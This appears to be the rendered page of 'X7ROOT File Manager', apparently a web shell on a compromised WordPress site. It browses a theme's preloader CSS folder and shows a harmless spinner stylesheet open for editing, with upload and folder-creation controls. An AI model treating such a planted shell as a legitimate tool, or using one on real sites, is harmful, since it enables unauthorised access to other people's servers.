File Manager

X7ROOT File Manager

Current Path: /home/oakwood/public_html/wp-content/themes/rife-free/css/preloaders

home / oakwood / public_html / wp-content / themes / rife-free / css / preloaders /

ðŸ“ ..
ðŸ“„ arcs.css(1.37 KB)
ðŸ“„ atom.css(3.68 KB)
ðŸ“„ blurry.css(8.54 KB)
ðŸ“„ circle.css(1002 B)
ðŸ“„ circle_illusion.css(5.42 KB)
ðŸ“„ cloud_circle.css(1.66 KB)
ðŸ“„ dots.css(1.17 KB)
ðŸ“„ flash.css(1.41 KB)
ðŸ“„ hand.css(25.34 KB)
ðŸ“„ indicator.css(1.26 KB)
ðŸ“„ infinity.css(4.78 KB)
ðŸ“„ jet_pack_man.css(3.78 KB)
ðŸ“„ plus_minus.css(1.18 KB)
ðŸ“„ radar.css(1.07 KB)
ðŸ“„ square_of_squares.css(1.96 KB)
ðŸ“„ tetromino.css(4.04 KB)

Editing: indicator.css

.indicator .pace-activity{
    display: block;
    position: absolute;
    z-index: 2000;
    top: 0;
    left: 50%;
    margin-left: -40px;
    width: 80px;
    height: 80px;
    transition: transform 0.3s;
}

.indicator .pace-activity:before,
.indicator .pace-activity:after{
    position: absolute;
    top: 0;
    left: 50%;
    display: block;
    border: 5px solid transparent;
    border-radius: 50%;
    content: '';
}
.indicator .pace-activity:before{
    margin-left: -40px;
    width: 80px;
    height: 80px;
    border-right-color: #fff/*$color*/;
    border-left-color: #fff/*$color*/;
    -webkit-animation: pace-rotation 3s linear infinite;
    animation: pace-rotation 3s linear infinite;
}

.indicator .pace-activity:after{
    top: 20px;
    margin-left: -20px;
    width: 40px;
    height: 40px;
    border-top-color: #fff/*$color*/;
    border-bottom-color: #fff/*$color*/;
    -webkit-animation: pace-rotation 1s linear infinite;
    animation: pace-rotation 1s linear infinite;
}

@-webkit-keyframes pace-rotation {
    0% { -webkit-transform: rotate(0deg); }
    100% { -webkit-transform: rotate(359deg); }
}
@keyframes pace-rotation {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(359deg); }
}

X7ROOT File Manager

Editing: indicator.css

Upload File

Create Folder